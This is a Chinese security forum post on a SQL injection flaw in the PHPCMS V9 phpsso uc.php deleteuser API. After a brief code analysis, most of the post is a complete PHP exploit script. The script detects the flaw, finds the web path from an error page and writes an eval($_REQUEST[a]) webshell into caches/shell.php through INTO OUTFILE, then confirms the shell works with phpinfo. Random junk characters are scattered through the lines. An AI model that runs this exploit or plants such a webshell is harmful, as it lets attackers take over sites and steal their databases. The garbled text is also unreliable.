找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1952|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。! ]6 d% `8 d% y! O6 @, n) o& n- A
/ j. C+ l+ a5 O  q$ f
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 `) i! e- @. e/ q/ M4 d2 e7 Y- R# |( O  m' w8 b
漏洞分析:
& z) o( R6 k, S; c+ _1.未启用ucenter服务的情况下uc_key为空  M; t: w  y- `' T! K7 v
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
* s" O* s$ B- l6 _2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。1 Z$ J$ j3 g3 j% H" A7 y
    public function deleteuser($get,$post) {2 i, b/ s  C( |1 k! `% h2 e
        pc_base::load_app_func('global', 'admin');( T, d0 h; s# T, S3 S8 c
        pc_base::load_app_class('messagequeue', 'admin' , 0);
7 T$ H/ G9 h. k, |* D: g        $ids = new_stripslashes($get['ids']);
  o/ u4 o- C& W4 S& B        $s = $this->member_db->select("ucuserid in ($ids)", "uid");( v9 j) w. P: d
SQL语句为
5 N( |% V. w) x$ k) g- ySELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
3 M, u$ H1 r/ Q
/ ?7 i/ F3 N, k: q$ l0 h9 ?( v; Z5 A利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell8 ^+ ^6 _/ @8 L2 ?( H
<?php
) Q8 t4 [+ U5 o- @print_r('1 {# t- o$ ?% N1 P8 G
---------------------------------------------------------------------------
" U# W3 I8 K2 o5 E* fPHPcms (v9 or Old Version) uc api sql injection 0day: O( G5 ^+ r4 d) ^0 O  I
by rayh4c#80sec.com/ {1 M. N0 {# g. j
---------------------------------------------------------------------------
" v$ t! a& a7 T0 x7 I');) ~5 o  v' f; ~0 u9 {3 K6 {' c

8 Z0 x7 y8 w# Kif ($argc<3) {
% n4 a  N. }: G# ]9 F    print_r('6 w6 q5 s# ?+ e& Q
---------------------------------------------------------------------------
& ?9 c2 [5 j4 l8 ZUsage: php '.$argv[0].' host path OPTIONS
' v' x7 U6 d. k( u6 r, C- hhost:      target server (ip/hostname)
: J3 H6 x7 m5 f: }) H! ]path:      path to phpcms
! a4 o, ^( c' S2 G* pOptions:
1 Z4 V& k, w4 j$ o) T -p[port]:    specify a port other than 80% |( `9 L) `" J( ~6 o
-P[ip:port]: specify a proxy
9 E6 H- O+ n9 ^) U9 W" C- OExample:
; }! b  O& Z1 w- V9 t6 tphp '.$argv[0].' localhost /
5 j0 O5 [' \7 S( k2 T4 G0 g. K5 {php '.$argv[0].' localhost /phpcms/ -p81
- i- a' f9 Q* R' }! C  ?php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
  H0 N, u2 m8 S/ @# A# C---------------------------------------------------------------------------, ?2 |! r& s7 }5 x3 O  s5 V# v
');: v) q7 T+ r% M
    die;3 J- h! z7 ~* {' B6 B
}
7 Z; Y4 O8 u# T: b) I+ p% U: ^! U' P
error_reporting(7);
( W9 n/ [# }% E  [% |  Z& vini_set("max_execution_time",0);
, m( \6 r' l% P8 Jini_set("default_socket_timeout",5);8 D- V% E& M5 C+ y! d! ]
! o% Z5 b( _( m: F% h+ J
function quick_dump($string)
7 S8 M3 \. M1 _* B; _4 i9 R! z1 o, Q{
/ [3 d; S+ p3 j  $result='';$exa='';$cont=0;
- y- U8 e) L) i1 t2 G. C% T! a  for ($i=0; $i<=strlen($string)-1; $i++)
5 q' M" D* m* `! Y" G7 w6 ~9 q  {' O4 t7 h' K6 m) W) s
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ j! C& e  p( L9 K, o
   {$result.="  .";}
7 _# r4 @8 e# E: ^& N  |3 ?7 z5 \   else% W1 C% b: {) F: N% H, b  |
   {$result.="  ".$string[$i];}( U0 N6 v. d+ r( o- J- j
   if (strlen(dechex(ord($string[$i])))==2)  l& g. y! }  Q  r. o" A, {' |, ~
   {$exa.=" ".dechex(ord($string[$i]));}* N* r. |1 w9 l2 A" r+ J! i7 V
   else
& I& @6 z4 Y& v  J   {$exa.=" 0".dechex(ord($string[$i]));}
# ]7 t, E. e: |3 T/ v# @% |   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}6 @* B: W4 W, _/ V( w
  }
$ M7 h% |: Y& m- e& {4 b/ Q- E return $exa."\r\n".$result;% F8 r% D8 v6 j; e4 u. r: c7 s" |
}5 b7 S; i0 W5 m8 v( h6 S
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';# s: f  Q) B" ^; C& a
1 B3 _1 N0 O, j
function send($packet)
6 m; z0 k8 v" X2 B{8 ]" y* ?- k3 K
  global $proxy, $host, $port, $html, $proxy_regex;  K( B4 f& [$ s  I* {( z  a
  if ($proxy=='') {
' U+ k& T7 A( S5 f1 N    $ock=fsockopen(gethostbyname($host),$port);! r, k6 f+ _) P  `# Z
    if (!$ock) {
6 }1 g4 r7 }! e" N; K2 y      echo 'No response from '.$host.':'.$port; die;$ {+ z/ w0 J& B$ h
    }
3 ], ~5 O$ K: Q8 W3 x* @* a: S  }
) T+ D$ U9 \9 }7 ~9 j2 Z  else {3 M5 p8 s8 O' D7 b  y; _
        $c = preg_match($proxy_regex,$proxy);
% a) @9 t3 |1 N* X4 V, @+ @    if (!$c) {
& g" x$ k, m4 I: \: C6 H* @0 G      echo 'Not a valid proxy...';die;
! W) M( q% A: S    }; D1 a. o+ B% F& L, G
    $parts=explode(':',$proxy);
& P3 }( b1 l5 i$ p' v2 k  n    $parts[1]=(int)$parts[1];3 L! h: D, P8 s, k$ ?. Q& w" Q5 m
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";) `  ~7 q1 w8 c. w6 R+ e
    $ock=fsockopen($parts[0],$parts[1]);
5 i# X% d! s) ?1 `% F; k    if (!$ock) {7 m1 z( _0 I# V
      echo 'No response from proxy...';die;+ R; e$ h# c8 S+ S! i' s
        }
) H& K  b3 o3 E; A5 ]! J7 S  }
, h9 q+ y3 i" X  fputs($ock,$packet);
- ]( _4 T) g4 k1 ^% ~" f  if ($proxy=='') {
! u' [; p: X2 r$ g, S    $html='';
1 L4 @" ~- `1 ]5 c    while (!feof($ock)) {# V" d1 [1 C, A$ O
      $html.=fgets($ock);
7 f( }% `8 a( F$ A8 Q" b* }2 A    }' P  @8 _. ]" u1 R7 y( e! D# B
  }
* U. {5 q- A5 [) T8 U! r2 C  else {
6 T8 s! h) J4 z0 f+ Q    $html='';
( }: r7 t) d/ U) J9 h9 o3 `5 e    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
; q' U, Q# ?& [- R# u* s) ^      $html.=fread($ock,1);( z1 S3 ^: R" P- L
    }, g6 |# Q1 N( h) }* ^  p. g
  }+ o1 S! j( R2 u% o
  fclose($ock);
3 F* C3 o$ \& D1 o1 _}# |8 {+ o' `: f! e) s

3 p5 x9 X6 t2 k; r: p- t' l$host=$argv[1];
; _6 S; G, g- o$ S! V$path=$argv[2];
  D8 K2 N/ C/ R: T& I0 Y2 c$port=80;
* K* T+ T  m$ g( R) }$proxy="";
% B5 K( J" u6 G6 B, Ffor ($i=3; $i<$argc; $i++){. q* U) ^$ R! G' t, t
$temp=$argv[$i][0].$argv[$i][1];
& l1 m( w7 r3 Q# e* H$ ~+ @% [if ($temp=="-p")
/ y: m: s. b1 Q) \2 E4 H0 x% t{
0 s" D4 A$ e0 }- I  $port=(int)str_replace("-p","",$argv[$i]);% B7 [. ]6 r' E
}1 \3 q+ ]8 C9 Q; Y8 q7 K$ B
if ($temp=="-P")
! V) H% F4 \1 B3 f{
# G6 u# v# M5 d/ H( D  $proxy=str_replace("-P","",$argv[$i]);
+ t4 D7 T7 J5 e1 w# q& C}7 n. m8 h9 @( B- p0 d, \: L+ o
}
! J5 w" f/ g. |4 K% z1 P: r0 H# o: \1 n+ F- h
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 l& j. B- b0 t" |8 i- pif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 _& k3 Q( b) G7 R& p0 m/ ?% K" U0 D- M& V* P
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {* C) v9 U/ V( c/ \" A7 P0 Z

1 @  c, Z: U# @1 q% d    $ckey_length = 4;
0 r& E# T5 J8 L( o( r& T6 r% M- ?: ?% Z( x5 }- M0 j; Y% P3 |
    $key = md5($key ? $key : '');3 X9 ?) D- ~7 W& j& I, x
    $keya = md5(substr($key, 0, 16));
2 g9 Q3 H) t8 V    $keyb = md5(substr($key, 16, 16));/ s+ B# h- N4 K8 N+ H) C) c( ^
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' L9 r5 {' I4 n% U
! h' x! I4 r8 N    $cryptkey = $keya.md5($keya.$keyc);% `6 ]6 _4 I& @7 l8 t8 y
    $key_length = strlen($cryptkey);
% s4 X7 A: g1 F  @, [- ~+ p. f& d2 C) j. G8 Z  O% }# g
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;" z1 ]) e9 i0 Q. d6 X& J  ]; Z. \
    $string_length = strlen($string);
0 ~2 J& L! Z% O' P+ }7 N0 v% M) A4 A9 [9 Q# ]
    $result = '';
' x% B# l. q3 O. H* b& @! h4 A    $box = range(0, 255);
/ G$ R$ G9 q) C  K
! r8 \4 K# |7 z. K( l    $rndkey = array();
- w7 z% p, U7 f. F    for($i = 0; $i <= 255; $i++) {: s: ^. y7 E0 f& q
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
5 |! A& r) S( c- D; Y' _    }
7 ?8 g% b+ Q' o6 B9 U+ U& M8 v, h$ i  Y7 i5 O6 o3 d
    for($j = $i = 0; $i < 256; $i++) {
; f8 @7 S6 z8 x! @+ ^        $j = ($j + $box[$i] + $rndkey[$i]) % 256;4 A# G$ r7 o4 B
        $tmp = $box[$i];
3 J. }9 o) D! e' k        $box[$i] = $box[$j];
2 x5 L0 \' ^  x8 Q9 R& d: t1 Y, T        $box[$j] = $tmp;
7 F$ p, V& p; s! v: Z6 P    }
  H) S7 A% W" G/ ]. p: W+ J+ v* r6 h. `6 v* u6 V
    for($a = $j = $i = 0; $i < $string_length; $i++) {$ ]) a0 R2 y( j- p
        $a = ($a + 1) % 256;
1 ~5 u9 y% s, c- N8 ^7 X/ p        $j = ($j + $box[$a]) % 256;
# a( s0 i5 `, ~3 h        $tmp = $box[$a];6 x, {2 V! a. |: J* u( \3 M2 n
        $box[$a] = $box[$j];
' I1 N6 |& w, J: b1 C2 {! K        $box[$j] = $tmp;; q3 j1 a  r, |
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));! V& e0 [+ P- a: E8 T
    }
+ E: `. V# \9 v% ^8 L. }: Y2 t9 g. H4 @% J
    if($operation == 'DECODE') {4 W0 @4 e9 P7 q, _" N' V
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 X0 @) h3 a, L5 g" V
            return substr($result, 26);! _! i- k0 t7 g* |/ x' @+ O
        } else {3 m$ E5 ~1 U, H! ?6 ~6 E* _1 m: [) x
            return '';
! G' V6 g9 [  m4 ?- S        }
( v) S. F+ H# G: Z    } else {; z" L  L' i  H+ H
        return $keyc.str_replace('=', '', base64_encode($result));2 t5 b5 P5 X/ m* S- z( V+ ]
    }$ ?% d: ~+ \! Y9 y5 o
# g. a" J" x, m. H3 g$ i3 N0 g
}
- F; w% i: n+ u& d; S' C. p7 ?. K. w# v% P$ j8 i
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' Z" I7 {& p5 t$ r1 u% b" @3 ]! ]$SQL = urlencode(authcode($SQL, "ENCODE", ""));
4 V3 |0 Q% v1 d! c( t$ P7 zecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 s3 s3 d- u  ~# B7 n: m( l) [/ v$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- e( W# G5 ?  |* Y4 X$packet.="User-Agent: Mozilla/5.0\r\n";
: J5 D3 q  j( d% y# t$packet.="Host: ".$host."\r\n";
. G, L6 {) q* t; @+ o$packet.="Connection: Close\r\n\r\n";
# d( Z, P6 J& qsend($packet);1 v3 c( ^9 d# c/ ]
if(strpos($html,"MySQL Errno") > 0){
+ C9 `, {' b. s% t4 Mecho "[2] 发现存在SQL注入漏洞"."\n";
: q2 c! a* Q; pecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";6 V6 F) v6 T5 K0 a2 R6 C6 m) |
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";3 i; n$ ]( L$ E# i
$packet.="User-Agent: Mozilla/5.0\r\n";
) b2 |* N6 g6 z9 |' a1 }5 ?$packet.="Host: ".$host."\r\n";; H* T* v& c( D* w% i
$packet.="Connection: Close\r\n\r\n";
" ]8 _) H9 p8 vsend($packet);
+ ?& p. y! z# `+ Cpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
/ K, j0 V( J9 q. n" e+ Z2 \3 B//print_r($matches);6 D0 E: M& @4 R) O: B9 G( o
if(!empty($matches)){# t0 H" H! B; l9 }0 y5 R8 s7 H% n& |
echo "[4] 得到web路径 " . $matches[0]."\n";
! q  K- u7 l# j  u' fecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
4 Z2 W( z9 b! v' E$SQL = "time=999999999999999999999999&ids=1)";
% s/ n0 ^& k2 V' B3 m$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";" \& l8 d" W7 V8 x
$SQL.="&action=deleteuser";. q- J2 X2 d4 h( E
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 s6 `! k2 f' _- o" y% zecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 w# t" s& @9 `2 D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# C2 N5 A$ |0 v3 f& B7 \9 X$packet.="User-Agent: Mozilla/5.0\r\n";
0 Z! E' s. D4 }  q( O4 @& V$packet.="Host: ".$host."\r\n";/ E5 I/ V* k. _% _/ n' _
$packet.="Connection: Close\r\n\r\n";
! b" |6 A2 r. _' d  Msend($packet);! y  w4 n: @3 U0 B/ W
if(strpos($html,"Access denied") > 0){
. I9 s- l) y; A$ p7 R8 e1 }1 F% Recho "[-] MYSQL权限过低 禁止写入文件 ";
- R% c- B7 Z9 n2 w" Wdie;
8 v, O" S3 t6 h, }7 @3 }}
* x3 @7 @! {" k' j. K, `  kecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";# A8 X) s& t. p. d
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
" n3 \! d8 d' V: P& H/ K7 T/ }. k$packet.="User-Agent: Mozilla/5.0\r\n";
0 W( B; U, x% N& Y' k3 d; H% \) [$packet.="Host: ".$host."\r\n";" Y4 y8 G0 m/ Q
$packet.="Connection: Close\r\n\r\n";; b1 \; ^& |' j" t
send($packet);
% t  T7 k8 m0 h4 l! oif(strpos($html,"<title>phpinfo()</title>") > 0){
3 s5 p1 p0 |0 k6 m- j. A# V" x  U# l1 Cecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( j8 \; u0 {: _% A1 |( I}
* G& R4 Y' ]' L6 `# D7 _}else{# t3 a5 M, |- k( Z' Z
echo "[-]未取到web路径 ";
+ A* Y. o2 y; R}) m/ e" t( T9 I  z* z' H4 v% l- b5 r
}else{
  s8 [, K* w! x4 F! H) c! Y' _echo "[*]不存在SQL注入漏洞"."\n";" t# c( O6 @2 }; i5 S
}
& i0 A( M# k3 u
# A! W( P0 F  X6 y- {9 ~?>
# K  q% h# p2 i3 w, `# ^. F, E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表